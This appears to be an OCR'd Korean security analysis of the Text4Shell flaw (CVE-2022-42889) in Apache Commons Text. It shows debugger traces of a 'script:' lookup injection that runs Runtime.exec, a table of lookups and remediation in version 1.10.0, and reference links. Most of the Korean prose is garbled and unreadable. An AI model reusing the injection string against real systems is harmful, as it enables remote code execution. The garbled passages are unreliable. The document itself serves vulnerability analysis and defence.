InterpolatorStringLookup.lockup(String) line: 135
StringSubstitutor.resolveVariable(String, TextStringBuilder, int, int) line: 1067
StringSubstitutor.substitute(TextStringBuilder, int, int, List<String=) line: 1433
StringSubstitutor.substitute(TextStringBuilder, int, int) line: 1308
StringSubstitutor.replace(String) line: 816

App.main(String[]) line: 8

(x)= Variables X ®g Breakpoints €d' Expressions

Q0 T00 0000 T

MName Value
a this ScriptStringLockup (id=70)
» @ key “javascriptjava.lang.Runtime.getRuntime().exec('cmd /c type NUL > EQST-Insgiht)” (id=69)
v |G keys String(2] (id=77)
a [0] “javascript” (id=79)
a [1] "java.lang.Runtime.getRuntime(.exec('cmd /¢ type NUL > EQST-Insgiht)" (id=80)
@ keylLen 2
> @ engineName  “javascript” (id=79)
. @ script "java.lang.Runtime.getRuntime().exec('cmd /¢ type NUL > EQSTI’-Insgiht')“ [id=80)

[ScriptStringLookup S#A2] 4= ti¥]7] A3}
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6. 9AnE AWRCE)C] FAsto] shalo] AHH A 2 % gck
PC » windows (C) » AMEZ} » » textdshellderno » demo » v 0

W= - e I =X 37

| .classpath 2022-10-30 2% 9:33  CLASSPATH Etg 2KE
| .gitignore 2022-10-30 2% 933  GITIGNORE T 1KB
L_project 2022-10-30 2% 9:33 PROJECT L'z KE
_' ECEST-IHEgiht 2022-11-068 25 1:32 ore QKB
| HELP.md 2022-10-30 2% 933 MD OHE 1KB

[Text4Shell 238 A}

A2 07 Text4Shell o F st #A ] Apache Commons Text 9|A4] StringSubstitutor Sa49]
createlnterpolator =%} replace 5 ARESHH, wlg] HoH FEAE HIF EEoA FHFsH
Prefix Q1 dns, url, script o ¥4 A3 I=E HIste] ScriptStringLookup, DnsStringlookup,
UrlStringLookup Sd|25 &5 4 Q7] wj&of| F st
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m g ot

O -

A el Al AFE F¢l Apache Commons Text gfolE&g]e] HAS =l & FHoket HAd A%
1.10.0 o]} HHdo=z guo|Eqttt.

Ao EX WA A= TextdShell o FHFAH BEAE B7F 5521 url, dns, script 7} Default 2
Z3tEo] Q1] ko Prefix & A3 TEF 4 gl A HAh

ABlA 7HEAe R Qls] AHCIEZL EVMEE AS, AR dE e A9 o FoRet
= _/:?_1 StringSubstitutor 28} 2A9] createlnterpolator ¥t replace Tt AREEEA]
gelsoty, AMEEE A% ${f FEY o™ Fs THPSH Aol ZEE A&ste] A%
“53301 AR R] QI = FA|SfjofF jirt,

Default String Lookups
Key Interface Factory Method Since
"base64Decoder” 5t ringlookup basebdDecoderStringlookupi) 1.6
"base64Encoder” Stringlookup baseBdEncoderStringlookupl) 1.6
"const" stringlookup constant Stringlookup( ) 1.5
"date" stringlookup dateStrinalookupd) 15
"env" Stringlookup environnentyariablestrinalookusl) 1.3
"file" Stringlookup fileStringlookup() 15
"java" Stringlookup javaPlat fornstringlookup() 1.5
"localhost” Stringlookup |ocalHost Stringlookup ) 1.3
"properties” Stringlookup propert i esstrinalookupi) 1.5
"resourceBundle” 5t ringlookup resourceBundl eStringlookupi ) 1.6
"sys" Stringlookup systenPropertystrinalookupt) 1.3
"urlDecoder” St ringlookup ur | Decoder 5t rinalookupi ) 1.5
"urlEncoder” St ringlookup ur |Encoder 5t rinalookupi ) 1.5
"sm]" stringlookup =ml Stringlookunt) 1.5
Additional String Lookups (not included by default)
Kev Interface Factory Method Since
"dns"  Stringlookup dnsStringlookup() 1.8 Default StringLookups
"url”  Stringlookup urlStringlookupl] 1.5 je—l A 220M H
"seript” 5t ringlookup scriptstringlookunt) 1.5

[Default StringLookup 1.10.0 version E-%]
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H 21 AO|E
« URL: https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep—calm—and-
stop—saying—4shell/

« URL: https://nakedsecurity.sophos.com/2022/10/18/dangerous—hole—in—apache—commons—
text—like—log4shell-all-over—again/

« URL: https://commons.apache.org/proper/commons—text/apidocs/org/apache/commons/text/
StringSubstitutor.html
« URL: https://checkmarx.com/blog/cve—2022-42889—text4shell-vulnerability—breakdown/

« URL: https://www.tarlogic.com/blog/cve—2022-42889—critical—vulnerability—affects—apache—

commons—text/

« URL: https://paper.seebug.org/1993/
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